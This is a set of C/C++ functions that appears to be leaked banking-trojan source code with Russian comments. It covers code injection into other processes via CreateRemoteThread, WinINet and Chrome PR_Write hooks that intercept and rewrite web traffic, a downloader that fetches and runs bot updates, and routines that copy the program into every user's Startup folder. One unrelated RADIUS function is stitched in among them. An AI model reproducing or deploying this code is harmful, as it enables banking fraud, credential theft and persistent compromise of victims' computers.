/* Инжектирование кода в конкретный процесс. IN pid - ID процесса. IN processMutex - мютекс процесса. IN proccessFlags - данные для нового coreData.proccessFlags, текщие данные наследуются по маске Core::CDPT_INHERITABLE_MASK. Return - true - в случаи успеха, false - в случаи ошибки. */ static bool injectMalwareToProcess(DWORD pid, HANDLE processMutex, DWORD proccessFlags) { bool ok = false; HANDLE process = CWA(kernel32, OpenProcess)(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, FALSE, pid); if(process != NULL) { void *newImage = Core::initNewModule(process, processMutex, proccessFlags); if(newImage != NULL) { LPTHREAD_START_ROUTINE proc = (LPTHREAD_START_ROUTINE)((LPBYTE)newImage + (DWORD_PTR)((LPBYTE)Core::_injectEntryForThreadEntry - (LPBYTE)coreData.modules.current)); HANDLE thread = CWA(kernel32, CreateRemoteThread)(process, NULL, 0, proc, NULL, 0, NULL); if(thread != NULL) { # if(BO_DEBUG > 0) WDEBUG2(WDDT_INFO, "newImage=0x%p, thread=0x%08X", thread, proc); #endif if(CWA(kernel32, WaitForSingleObject)(thread, 10 * 1000) != WAIT_OBJECT_0) { # if(BO_DEBUG > 0) WDEBUG2(WDDT_WARNING, "Failed to wait for thread end, newImage=0x%p, thread=0x%08X", newImage, thread); #endif } CWA(kernel32, CloseHandle)(thread); ok = true; } else { # if(BO_DEBUG > 0) WDEBUG1(WDDT_ERROR, "F****d up with id=%u.", pid); #endif CWA(kernel32, VirtualFreeEx)(process, newImage, 0, MEM_RELEASE); } } # if(BO_DEBUG > 0) else WDEBUG1(WDDT_ERROR, "Failed to alloc code in process with id=%u.", pid); # endif CWA(kernel32, CloseHandle)(process); } #if(BO_DEBUG > 0) else WDEBUG1(WDDT_ERROR, "Failed to open process with id=%u.", pid); #endif return ok; }
bool CoreInstall::_loadInstalledData(const void *overlay, DWORD overlaySize) { //Получаем PESETTINGS. Преднамерено не проверяем ошибки. Mem::_copy(&coreData.peSettings, overlay, sizeof(PESETTINGS)); PESETTINGS ps; Core::getPeSettings(&ps); //Проверяем. WDEBUG5(WDDT_INFO, "Current OS guid {%08X-%04X-%04X-%08X%08X}.", ps.guid.Data1, ps.guid.Data2, ps.guid.Data3, *((LPDWORD)&ps.guid.Data4[0]), *((LPDWORD)&ps.guid.Data4[4])); if(Mem::_compare(&coreData.osGuid, &ps.guid, sizeof(GUID)) == 0) { //Проверяем пути. int coreLenght = Str::_LengthW(coreData.paths.process); int homeLenght = Str::_LengthW(coreData.paths.home); WCHAR coreFile[sizeof(ps.userPaths.coreFile) / sizeof(char)]; Str::_ansiToUnicode(ps.userPaths.coreFile, -1, coreFile, sizeof(coreFile) / sizeof(WCHAR)); if(coreLenght > homeLenght && coreData.paths.process[homeLenght] == '\\' && CWA(shlwapi, StrCmpNIW)(coreData.paths.home, coreData.paths.process, homeLenght) == 0 && //Файл запушен из домшней директории. CWA(kernel32, lstrcmpiW)(coreFile, coreData.paths.process + homeLenght + 1) == 0) //Файл запушен из номарльного пути домашней директории. { //Номарльный запуск. return true; } # if(BO_DEBUG > 0) else WDEBUG2(WDDT_ERROR, "Bad paths coreData.paths.process=%s, coreData.paths.home=%s.", coreData.paths.process, coreData.paths.home); # endif } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "Bad OS/User guid."); # endif return false; }
BOOL WINAPI WininetHook::hookerInternetCloseHandle(HINTERNET handle) { #if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Called"); #endif //Закрытие хэндла прерывает чтение данных из других потоков. BOOL r = CWA(wininet, InternetCloseHandle)(handle); if(Core::isActive())//Возможна небольшая утечка памяти. { CWA(kernel32, EnterCriticalSection)(&connectionsCs); DWORD connectionIndex = connectionFind(handle); if(connectionIndex != (DWORD)-1) { connectionRemove(connectionIndex); # if defined WDEBUG2 WDEBUG2(WDDT_INFO, "Connection 0x%p removed from table, current connectionsCount=%u.", handle, connectionsCount); # endif } CWA(kernel32, LeaveCriticalSection)(&connectionsCs); } return r; }
/* Перехватывает все WinApi из списка IN process - процесс. IN OUT list - список. IN count - кол. эелементов. IN realCount - кол. эелементов, должны быть равны. Смысл это понятен в коде. Return - true - если перехвачены все WinApi, false - если не перехвачена хотя бы одна WinAPI. */ static bool hookList(HANDLE process, HOOKWINAPI *list, DWORD count, DWORD realCount) { //Страхуемся. if(count != realCount) { # if defined WDEBUG2 WDEBUG2(WDDT_ERROR, "count != realCount, %u != %u", count, realCount); # endif return false; } //Обнуляем структуру на всякий случай. for(DWORD i = 0; i < count; i++) { if(list[i].functionForHook == NULL) { # if defined WDEBUG1 WDEBUG1(WDDT_ERROR, "NULL WinApi founded at index %u", i); # endif return false; } list[i].originalFunction = NULL; list[i].originalFunctionSize = 0; } LPBYTE opcodesBuf = (LPBYTE)WaHook::_allocBuffer(process, count); if(opcodesBuf != NULL) { //Ставим хуки. DWORD i = 0; for(; i < count; i++) { DWORD curOpcodesSize = WaHook::_hook(process, list[i].functionForHook, list[i].hookerFunction, opcodesBuf, hotPatchCallback); if(curOpcodesSize == 0) { # if defined WDEBUG1 WDEBUG1(WDDT_ERROR, "Failed to hook WinApi at index %u", i); # endif break; } list[i].originalFunction = opcodesBuf; list[i].originalFunctionSize = curOpcodesSize; opcodesBuf += curOpcodesSize; } if(i == count)return true; //Снимаем хуки. unhookList(process, list, count); } return false; }
DWORD Process::_create(const LPWSTR module, const LPWSTR commandLine, const LPWSTR workDir, const STARTUPINFOW *starupInfo, PROCESS_INFORMATION *pi) { //The Unicode version of this function, CreateProcessW, can modify the contents of this string. WCHAR zeroStr[1]; zeroStr[0] = 0; { STARTUPINFOW defaultStartupInfo; PROCESS_INFORMATION info; if(starupInfo == NULL) { Mem::_zero(&defaultStartupInfo, sizeof(STARTUPINFOW)); defaultStartupInfo.cb = sizeof(STARTUPINFOW); } # if defined WDEBUG2 WDEBUG2(WDDT_INFO, "module=[%s], commandLine=[%s]", module, commandLine); # endif if(CWA(kernel32, CreateProcessW)(module, commandLine == NULL ? zeroStr : commandLine, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE, NULL, workDir, starupInfo == NULL ? &defaultStartupInfo : (STARTUPINFOW *)starupInfo, &info ) != FALSE) { if(pi != NULL) { Mem::_copy(pi, &info, sizeof(PROCESS_INFORMATION)); } else { CWA(kernel32, CloseHandle)(info.hThread); CWA(kernel32, CloseHandle)(info.hProcess); } return info.dwProcessId; } # if defined WDEBUG0 && BO_DEBUG > 0 else WDEBUG0(WDDT_ERROR, "Failed."); # endif } return 0; }
static size_t sqlcounter_expand(char *out, int outlen, char const *fmt, rlm_sqlcounter_t *inst) { int c, freespace; char const *p; char *q; char tmpdt[40]; /* For temporary storing of dates */ q = out; for (p = fmt; *p ; p++) { /* Calculate freespace in output */ freespace = outlen - (q - out); if (freespace <= 1) { return -1; } c = *p; if (c != '%') { *q++ = *p; continue; } if (*++p == '\0') break; if (c == '%') switch(*p) { case 'b': /* last_reset */ snprintf(tmpdt, sizeof(tmpdt), "%" PRId64, (int64_t) inst->last_reset); strlcpy(q, tmpdt, freespace); q += strlen(q); break; case 'e': /* reset_time */ snprintf(tmpdt, sizeof(tmpdt), "%" PRId64, (int64_t) inst->reset_time); strlcpy(q, tmpdt, freespace); q += strlen(q); break; case 'k': /* Key Name */ WDEBUG2("Please replace '%%k' with '${key}'"); strlcpy(q, inst->key_name, freespace); q += strlen(q); break; default: *q++ = '%'; *q++ = *p; break; } } *q = '\0'; DEBUG2("sqlcounter_expand: '%s'", out); return strlen(out); }
bool SetSSLHook(HMODULE moduleHandle) { DWORD Chrome32Size = (DWORD)Disasm::GetModuleSize(moduleHandle); DWORD ChromeDLL = (DWORD)GetModuleHandleW(L"chrome.dll"); WDEBUG2(WDDT_INFO, "Chrome32Size=\"0x%08X\", ChromeDLL=\"%u\"", Chrome32Size, ChromeDLL); if (!Chrome32Size){ MessageBoxA(NULL,(LPCSTR)"err",(LPCSTR)"569",MB_OK); return false; } if (!ChromeDLL){ MessageBoxA(NULL,(LPCSTR)"NULL 573 l",(LPCSTR)"sd",MB_OK); return false; } char* Sign="\x55\x8B\xEC\xFF\x75\x10\x8B\x45\x08\xFF\x75\x0C\x8B\x08\x50\xFF\x51\x0C\x83";// Сигнатура PR_Write char* Mask="xxxxxxxxxxxxxxxxxxx"; DWORD PR_Writeaddr = Disasm::FindPattern(ChromeDLL,Chrome32Size,(BYTE*)Sign,Mask); WDEBUG1(WDDT_INFO, "PR_Writeaddr=\"0x%08X\"", PR_Writeaddr); WDEBUG1(WDDT_INFO, "PR_WriteTrampaddr=\"0x%08X\"", (void*)Hooked_PR_Write_tramp); if (!PR_Writeaddr) { MessageBoxA(NULL,(LPCSTR)"NULL 580 l",(LPCSTR)"sd",MB_OK); return false; } LPBYTE opcodesBuf = (LPBYTE)WaHook::_allocBuffer(GetCurrentProcess(), 1); if(opcodesBuf != NULL) { DWORD curOpcodesSize = WaHook::_hook(GetCurrentProcess(), (void*)PR_Writeaddr, Hooked_PR_Write_tramp, opcodesBuf, hotPatchCallback); if(curOpcodesSize == 0) { # if defined WDEBUG1 WDEBUG0(WDDT_ERROR, "SETSSLHOOK FAILED!!!"); # endif } ChromeHook.buffer = opcodesBuf; } return true; }
DWORD _GetFuncAddress(LPWSTR module, char* sign, char* mask) { HMODULE hModule = GetModuleHandleW(module); DWORD moduleSize = (DWORD)Disasm::GetModuleSize(hModule); WDEBUG2(WDDT_INFO, "moduleSize=\"0x%08X\", hModule=\"%u\"", moduleSize, (DWORD)hModule); if (!moduleSize){ MessageBoxA(NULL,(LPCSTR)"err",(LPCSTR)"569",MB_OK); return 0; } if (!hModule){ MessageBoxA(NULL,(LPCSTR)"NULL 573 l",(LPCSTR)"sd",MB_OK); return 0; } DWORD PR_Writeaddr = Disasm::FindPattern((DWORD)hModule,moduleSize,(BYTE*)sign,mask); return PR_Writeaddr; }
BOOL WINAPI WininetHook::hookerHttpQueryInfoA(HINTERNET request, DWORD infoLevel, LPVOID buffer, LPDWORD bufferLength, LPDWORD index) { #if defined WDEBUG2 WDEBUG2(WDDT_INFO, "Called, infoLevel=%u (0x%08X)", infoLevel, infoLevel); #endif if(Core::isActive()) { CWA(kernel32, EnterCriticalSection)(&connectionsCs); DWORD connectionIndex = connectionFind(request); if(connectionIndex != (DWORD)-1 && HttpGrabber::_isFakeData(connections[connectionIndex].injects, connections[connectionIndex].injectsCount)) { request = connections[connectionIndex].fakeRequest; } CWA(kernel32, LeaveCriticalSection)(&connectionsCs); } return CWA(wininet, HttpQueryInfoA)(request, infoLevel, buffer, bufferLength, index); }
static DWORD WINAPI proc(void *) { CoreHook::disableFileHookerForCurrentThread(true); HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_DYNAMIC_CONFIG, MalwareTools::KON_GLOBAL); if(mutex == NULL) { WDEBUG0(WDDT_ERROR, "Failed"); return 1; } WDEBUG0(WDDT_INFO, "Started."); //Получем время ожидания. DWORD normalDelay; DWORD errorDelay; DWORD delay; { BASECONFIG baseConfig; Core::getBaseConfig(&baseConfig); normalDelay = HIWORD(baseConfig.delayConfig) * 60 * 1000; errorDelay = LOWORD(baseConfig.delayConfig) * 60 * 1000; Mem::_zero(&baseConfig, sizeof(BASECONFIG)); } //Цикл. if(Core::isActive()) { WDEBUG2(WDDT_INFO, "normalDelay=%u, errorDelay=%u", normalDelay, errorDelay); do { delay = DynamicConfig::download(NULL) ? normalDelay : errorDelay; } while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, delay) == WAIT_TIMEOUT); } WDEBUG0(WDDT_INFO, "Stopped."); Sync::_freeMutex(mutex); return 0; }
/* Загрузка обвнолвения бота, используя данные из текущей конфигурации. IN force - форсировать обновление бота, независимво от версии. Return - true - обновление успешно запущено, false - произошла ошибка. */ static bool tryToUpdateBot(bool force) { bool retVal = false;; BinStorage::STORAGE *currentConfig = DynamicConfig::getCurrent(); if(currentConfig != NULL) { DWORD version; if(BinStorage::_getItemDataAsDword(currentConfig, CFGID_LAST_VERSION, BinStorage::ITEMF_IS_OPTION, &version) && (version > BO_CLIENT_VERSION || (force == true && version >= BO_CLIENT_VERSION))) { LPSTR url = (LPSTR)BinStorage::_getItemDataEx(currentConfig, CFGID_LAST_VERSION_URL, BinStorage::ITEMF_IS_OPTION, NULL); if(url != NULL) { WCHAR tempFile[MAX_PATH]; LPWSTR ext = FILEEXTENSION_EXECUTABLE; if(Fs::_createTempFileEx(NULL, ext + 1, tempFile)) { WDEBUG2(WDDT_INFO, "\"%S\" => \"%s\".", url, tempFile); MEMDATA memData; if(newDownloader(url, &memData) && Fs::_saveToFile(tempFile,memData.data,memData.size)) { DWORD pid = Process::_createEx(tempFile, force ? L"-f" : NULL, NULL, NULL, NULL); # if(BO_DEBUG > 0) if(pid == 0)WDEBUG0(WDDT_ERROR, "Failed to run new version of bot."); else WDEBUG1(WDDT_INFO, "PID of new bot is %u.", pid); # endif if(pid != 0)retVal = true; } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "Failed to download the bot."); # endif Fs::_removeFile(tempFile); } Mem::free(url); } } Mem::free(currentConfig); } return retVal; }
/* Проверка запроса на необходимость инжекта. IN OUT requestData - запрос. Return - true - инжекты применины, false - инжекты не применены */ static bool checkRequestForInject(HttpGrabber::REQUESTDATA *requestData) { if(requestData->currentConfig == NULL)return false; DWORD listSize; LPBYTE list = (LPBYTE)BinStorage::_getItemDataEx(requestData->currentConfig, CFGID_HTTP_INJECTS_LIST, BinStorage::ITEMF_IS_OPTION, &listSize); requestData->injectsCount = 0; requestData->injects = NULL; if(list != NULL && listSize > sizeof(HttpInject::HEADER)) { WORD knownFlags = requestData->verb == HttpGrabber::VERB_POST ? HttpInject::FLAG_REQUEST_POST : HttpInject::FLAG_REQUEST_GET; DWORD index = 0; HttpInject::HEADER *curInject = (HttpInject::HEADER *)list; LPBYTE endOfList = list + listSize; while(HttpInject::_isCorrectHeader(curInject)) { LPSTR p = (LPSTR)curInject; //Переменная для легокого доступа к строкам. LPSTR urlMask = p + curInject->urlMask; DWORD matchFlags = curInject->flags & HttpInject::FLAG_URL_CASE_INSENSITIVE ? Str::MATCH_CASE_INSENSITIVE_FAST : 0; if((curInject->flags & knownFlags) == knownFlags && HttpGrabber::_matchUrlA(urlMask, requestData->url, requestData->urlSize, matchFlags)) { //Проверяем пост-данные. if(curInject->postDataBlackMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataBlackMask, (LPSTR)requestData->postData, requestData->postDataSize) == true) { goto SKIP_ITEM; } if(curInject->postDataWhiteMask > 0 && HttpGrabber::_matchPostDataA(p + curInject->postDataWhiteMask, (LPSTR)requestData->postData, requestData->postDataSize) == false) { goto SKIP_ITEM; } //Все хорошо, собираем данные. { HttpGrabber::INJECTFULLDATA ifd; #if defined WDEBUG2 WDEBUG2(WDDT_INFO, "requestData->url=[%S] matched [%S].", requestData->url, urlMask); #endif Mem::_zero(&ifd, sizeof(HttpGrabber::INJECTFULLDATA)); ifd.flags = curInject->flags; ifd.urlMask = Str::_CopyExA(p + curInject->urlMask, -1); ifd.contextMask = curInject->contextMask == 0 ? NULL : Str::_CopyExA(p + curInject->contextMask, -1); if(curInject->flags & (HttpInject::FLAG_IS_INJECT | HttpInject::FLAG_IS_CAPTURE)) { if((ifd.injects = (HttpInject::INJECTBLOCK *)BinStorage::_getItemDataEx(requestData->currentConfig, 1 + index, BinStorage::ITEMF_IS_HTTP_INJECT, &ifd.injectsSize)) != NULL && HttpInject::_isCorrectBlockList(ifd.injects, ifd.injectsSize) && Mem::reallocEx(&requestData->injects, sizeof(HttpGrabber::INJECTFULLDATA) * (requestData->injectsCount + 1))) { Mem::_copy(&requestData->injects[requestData->injectsCount++], &ifd, sizeof(HttpGrabber::INJECTFULLDATA)); } else { #if defined WDEBUG0 WDEBUG0(WDDT_ERROR, "Current configuration corrupted!"); #endif Mem::free(ifd.injects); HttpGrabber::_freeInjectFullData(&ifd); _freeInjectFullDataList(requestData->injects, requestData->injectsCount); requestData->injectsCount = 0; break; } } //Неизвестно. else { HttpGrabber::_freeInjectFullData(&ifd); #if defined WDEBUG1 WDEBUG1(WDDT_ERROR, "Unknown inject detected, curInject->flags=0x%08X!", curInject->flags); #endif } } SKIP_ITEM:; } //Вычисляем следующий элемент. curInject = (HttpInject::HEADER *)(((LPBYTE)curInject) + curInject->size); if(((LPBYTE)curInject) + sizeof(HttpInject::HEADER) > endOfList || ((LPBYTE)curInject) + curInject->size > endOfList)break; index++; } } Mem::free(list); return (requestData->injectsCount > 0); }
DWORD Process::_createAsUser(HANDLE token, const LPWSTR desktop, const LPWSTR module, const LPWSTR commandLine, const LPWSTR workDir, const STARTUPINFOW *starupInfo, PROCESS_INFORMATION *pi) { typedef BOOL (WINAPI *CREATEENVIRONMENTBLOCK)(LPVOID *environment, HANDLE token, BOOL inherit); typedef BOOL (WINAPI *DESTROYENVIRONMENTBLOCK)(LPVOID environment); # if defined WDEBUG2 WDEBUG2(WDDT_INFO, "module=[%s], commandLine=[%s]", module, commandLine); # endif bool retVal = 0; HMODULE dll = CWA(kernel32, LoadLibraryA)("userenv.dll"); if(dll != NULL) { CREATEENVIRONMENTBLOCK createEnvironmentBlock = (CREATEENVIRONMENTBLOCK)CWA(kernel32, GetProcAddress)(dll, "CreateEnvironmentBlock"); DESTROYENVIRONMENTBLOCK destroyEnvironmentBlock = (DESTROYENVIRONMENTBLOCK)CWA(kernel32, GetProcAddress)(dll, "DestroyEnvironmentBlock"); if(createEnvironmentBlock != NULL && destroyEnvironmentBlock != NULL) { //Create an environment variable. void *environment = NULL; if(createEnvironmentBlock(&environment, token, FALSE) == FALSE)environment = NULL; //Paranoia. //Create a process full of analogue create (). { WCHAR zeroStr[1]; zeroStr[0] = 0; { STARTUPINFOW defaultStartupInfo; PROCESS_INFORMATION info; if(starupInfo == NULL) { Mem::_zero(&defaultStartupInfo, sizeof(STARTUPINFOW)); defaultStartupInfo.cb = sizeof(STARTUPINFOW); defaultStartupInfo.lpDesktop = (LPWSTR)desktop; } if(CWA(advapi32, CreateProcessAsUserW)(token, module, commandLine == NULL ? zeroStr : commandLine, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE | (environment == NULL ? 0 : CREATE_UNICODE_ENVIRONMENT), environment, workDir, starupInfo == NULL ? &defaultStartupInfo : (STARTUPINFOW *)starupInfo, &info ) != FALSE) { if(pi != NULL) { Mem::_copy(pi, &info, sizeof(PROCESS_INFORMATION)); } else { CWA(kernel32, CloseHandle)(info.hThread); CWA(kernel32, CloseHandle)(info.hProcess); } retVal = info.dwProcessId; } } } if(environment != NULL)destroyEnvironmentBlock(environment); } CWA(kernel32, FreeLibrary)(dll); } # if defined WDEBUG0 && BO_DEBUG > 0 if(retVal == 0)WDEBUG0(WDDT_ERROR, "Failed."); # endif return retVal; }
/* Операции производимые в момент чтения HTTP-ответа. IN OUT request - хэндл запроса. OUT buffer - буфер для считаных данных. NULL - для возврата достпуного размера. IN numberOfBytesToRead - размер буфера. OUT numberOfBytesRead - кол. прочитаных байт. Return - (-1) - вызвать стандартную функцию чтения. В другом случаи, вернуть вместо вызова стандартной функции, это значение. */ static int onInternetReadFile(HINTERNET *request, void *buffer, DWORD numberOfBytesToRead, LPDWORD numberOfBytesRead) { int retVal = -1; CWA(kernel32, EnterCriticalSection)(&connectionsCs); DWORD connectionIndex = connectionFind(*request); if(connectionIndex != (DWORD)-1 && connections[connectionIndex].injectsCount > 0) { WININETCONNECTION *wc = &connections[connectionIndex]; if(HttpGrabber::_isFakeData(wc->injects, wc->injectsCount)) { /* DWORD newContext = 0; DWORD newContextSize = sizeof(DWORD_PTR); if(CWA(wininet, InternetQueryOptionA)(*request, INTERNET_OPTION_CONTEXT_VALUE, &newContext, &newContextSize) == TRUE) { CWA(wininet, InternetSetOptionA)(wc->fakeRequest, INTERNET_OPTION_CONTEXT_VALUE, &newContext, newContextSize); } */ *request = wc->fakeRequest; } else { if(numberOfBytesRead != NULL)*numberOfBytesRead = 0; //Инжект еще не применен. if(wc->contentSize == (DWORD)-1) { LPBYTE contextBuffer; DWORD contextBufferSize; //Читаем и подменяем содержимое. bool ok; { HANDLE readEvent = wc->readEvent; CWA(kernel32, LeaveCriticalSection)(&connectionsCs); ok = readAllContext(*request, readEvent, &contextBuffer, &contextBufferSize); CWA(kernel32, EnterCriticalSection)(&connectionsCs); } //Переполучаем данные соединения. if(ok == false || (connectionIndex = connectionFind(*request)) == (DWORD)-1) { if(ok)Mem::free(contextBuffer); retVal = (int)FALSE; CWA(kernel32, SetLastError)(ERROR_INTERNET_INTERNAL_ERROR); } else { wc = &connections[connectionIndex]; DWORD urlSize; LPSTR url = (LPSTR)Wininet::_queryOptionExA(*request, INTERNET_OPTION_URL, &urlSize); if(HttpGrabber::_executeInjects(url, &contextBuffer, &contextBufferSize, wc->injects, wc->injectsCount)) { //Подменяем кэш. LPWSTR urlW = Str::_ansiToUnicodeEx(url, urlSize); if(urlW != NULL) { DWORD cacheSize = 4096; INTERNET_CACHE_ENTRY_INFOW *cacheEntry = (INTERNET_CACHE_ENTRY_INFOW *)Mem::alloc(cacheSize); if(cacheEntry != NULL) { cacheEntry->dwStructSize = sizeof(INTERNET_CACHE_ENTRY_INFOW); if(CWA(wininet, GetUrlCacheEntryInfoW)(urlW, cacheEntry, &cacheSize) && cacheEntry->lpszLocalFileName && *cacheEntry->lpszLocalFileName != 0) { Fs::_saveToFile(cacheEntry->lpszLocalFileName, contextBuffer, contextBufferSize); # if defined WDEBUG2 WDEBUG2(WDDT_INFO, "Changed local cache urlW=\"%s\", cacheEntry->lpszLocalFileName=\"%s\"", urlW, cacheEntry->lpszLocalFileName); # endif } Mem::free(cacheEntry); } Mem::free(urlW); } } Mem::free(url); wc->context = contextBuffer; wc->contentSize = contextBufferSize; } } //Инжект применены, отдаем его результаты. if(wc->contentSize != (DWORD)-1 && retVal == -1) { DWORD maxSize = wc->contentSize - wc->contentPos; if(maxSize > 0) { if(buffer == NULL)numberOfBytesToRead = Crypt::mtRandRange(4096, 8192); if(numberOfBytesToRead < maxSize)maxSize = numberOfBytesToRead; if(buffer != NULL) { Mem::_copy(buffer, wc->context + wc->contentPos, maxSize); wc->contentPos += maxSize; } } if(numberOfBytesRead != NULL)*numberOfBytesRead = maxSize; retVal = (int)TRUE; } } } CWA(kernel32, LeaveCriticalSection)(&connectionsCs); return retVal; }
bool CoreInstall::_installToAll(void) { //Получаем предположительный путь для Startup директории. WCHAR startupPath[MAX_PATH]; { typedef BOOL (WINAPI *GETDEFAULTUSERPROFILEDIRECTORYW)(LPWSTR profileDir, LPDWORD size); bool ok = false; HMODULE dll; { CSTR_GETW(dllName, module_userenv) dll = CWA(kernel32, LoadLibraryW)(dllName); } if(dll != NULL) { GETDEFAULTUSERPROFILEDIRECTORYW getDefaultUserProfileDirectory; { CSTR_GETA(func, userenv_getdefuserprofiledir); getDefaultUserProfileDirectory = (GETDEFAULTUSERPROFILEDIRECTORYW)CWA(kernel32, GetProcAddress)(dll, func); } if(getDefaultUserProfileDirectory != NULL) { WCHAR defaultUserRoot[MAX_PATH]; DWORD size = MAX_PATH; if(getDefaultUserProfileDirectory(defaultUserRoot, &size) == TRUE) { if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK) { size = Str::_LengthW(defaultUserRoot); if(CWA(shlwapi, StrCmpNIW)(defaultUserRoot, startupPath, size) == 0) { Str::_CopyW(startupPath, startupPath + size, -1); WDEBUG1(WDDT_INFO, "startupPath=[%s].", startupPath); ok = true; } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "Failed to get default startup folder."); # endif } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "SHGetFolderPathW failed."); # endif } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW failed."); # endif } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW not founded."); # endif CWA(kernel32, FreeLibrary)(dll); } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "userenv.dll not founded."); # endif if(!ok)return false; } //Получаем список полозователей. bool ok = false; DWORD handle = 0; NET_API_STATUS status; do { /* Тупые, притупые идусы из MS, не понимают что они тупые притупые. Дело в том, что в MSDN написано, что NetUserEnum может работать с уровнями 4, 23, а на практики мы получаем большой индуский ХУЙ! */ DWORD readed; DWORD total; USER_INFO_0 *buf0 = NULL; status = CWA(netapi32, NetUserEnum)(NULL, 0, FILTER_NORMAL_ACCOUNT, (LPBYTE *)&buf0, MAX_PREFERRED_LENGTH, &readed, &total, &handle); if((status == NERR_Success || status == ERROR_MORE_DATA) && buf0 != NULL) { USER_INFO_23 *buf23; for(DWORD i = 0; i < readed; i++)if(CWA(netapi32, NetUserGetInfo)(NULL, buf0[i].usri0_name, 23, (LPBYTE *)&buf23) == NERR_Success && buf23 != NULL) { //Получаем директорию Startup. WCHAR profileDir[MAX_PATH]; if(OsEnv::_getUserProfileDirectoryhBySid(buf23->usri23_user_sid, profileDir) && Fs::_pathCombine(profileDir, profileDir, startupPath) && Fs::_createDirectoryTree(profileDir, NULL)) { WDEBUG2(WDDT_INFO, "Founded user: name=[%s], profileDir=[%s].", buf23->usri23_name, profileDir); //Делаем копию себя в профиль пользователя. WCHAR fileName[MAX_PATH]; if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, profileDir, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false)) { WDEBUG1(WDDT_INFO, "Copied to \"%s\".", fileName); ok = true; //Пытаемся запустить процесс. tryToRunForActiveSessions(buf23->usri23_user_sid, fileName); } # if(BO_DEBUG > 0) else WDEBUG1(WDDT_ERROR, "Failed to copy itself to statup folder of user \"%s\".", buf23->usri23_name); # endif } CWA(neteapi32, NetApiBufferFree)(buf23); } CWA(neteapi32, NetApiBufferFree)(buf0); } } while(status == ERROR_MORE_DATA); //Ну и копируем в себя в Default User. if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP | CSIDL_FLAG_CREATE, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK) { WCHAR fileName[MAX_PATH]; if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, startupPath, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false))ok = true; } return ok; }
DWORD WaHook::_hook(HANDLE process, void *functionForHook, void *hookerFunction, void *originalFunction, HOTPATCHCALLBACK hotPatchCallback) { DWORD retVal = 0; DWORD oldProtect; DWORD_PTR avalibeBytes = checkAvalibleBytes(process, functionForHook); //Даем все права затрагиваемым страницам. if(avalibeBytes >= OPCODE_MAX_SIZE * 2 && CWA(kernel32, VirtualProtectEx)(process, functionForHook, OPCODE_MAX_SIZE * 2, PAGE_EXECUTE_READWRITE, &oldProtect) != 0) { //Считываем старый код. BYTE buf[OPCODE_MAX_SIZE * 2 + JMP_ADDR_SIZE]; Mem::_set(buf, (char)0x90, sizeof(buf));/*параноя*/ if(CWA(kernel32, ReadProcessMemory)(process, functionForHook, buf, OPCODE_MAX_SIZE * 2, NULL) == 0)goto END; //Читаем опкоды, пока их суммарная длина не достигнит INJECT_SIZE. DWORD_PTR opcodeOffset = 0; for(;;) { LPBYTE currentOpcode = buf + opcodeOffset; DWORD currentOpcodeLen = Disasm::_getOpcodeLength(currentOpcode); //Неизвестный опкод. if(currentOpcodeLen == (DWORD)-1) { #if defined(WDEBUG2) WDEBUG2(WDDT_ERROR, "Bad opcode detected at offset %u for function 0x%p", opcodeOffset, functionForHook); #endif goto END; } opcodeOffset += currentOpcodeLen; if(opcodeOffset > sizeof(buf) - JMP_ADDR_SIZE) { #if defined(WDEBUG2) WDEBUG2(WDDT_ERROR, "Very long opcode detected at offset %u for function 0x%p", opcodeOffset - currentOpcodeLen, functionForHook); #endif goto END; } //Отностиельные call и jmp. if((currentOpcode[0] == 0xE9 || currentOpcode[0] == 0xE8) && currentOpcodeLen == 1 + sizeof(DWORD)) //FIXME: не уверен для x64. { # if defined(WDEBUG0) WDEBUG1(WDDT_INFO, "Relative JMP/CALL(%02X) detected.", currentOpcode[0]); # endif DWORD *relAddrSet = (DWORD *)(currentOpcode + 1); DWORD_PTR to = (*relAddrSet) + ((DWORD_PTR)functionForHook + opcodeOffset); *relAddrSet = (DWORD)(to - ((DWORD_PTR)originalFunction + opcodeOffset)); } if(opcodeOffset >= INJECT_SIZE)break; } //Сохраняем оригинальные опкоды в originalFunction. { //Дописываем в конец буфера, jump на продолжение functionForHook. LPBYTE pjmp = buf + opcodeOffset; WRITE_JMP(pjmp, originalFunction/* + opcodeOffset*/, functionForHook/* + opcodeOffset*/); if(CWA(kernel32, WriteProcessMemory)(process, originalFunction, buf, opcodeOffset + JMP_ADDR_SIZE, NULL) == 0)goto END; } //Пишим инжект в функцию. { WRITE_JMP(buf, functionForHook, hookerFunction); hotPatchCallback(functionForHook, originalFunction); if(CWA(kernel32, WriteProcessMemory)(process, functionForHook, buf, INJECT_SIZE, NULL) == 0)goto END; } retVal = opcodeOffset + JMP_ADDR_SIZE; //Размер вырезаного фрагмента. END: //Восстаналиваем права. CWA(kernel32, VirtualProtectEx)(process, functionForHook, OPCODE_MAX_SIZE * 2, oldProtect, &oldProtect); } return retVal; }
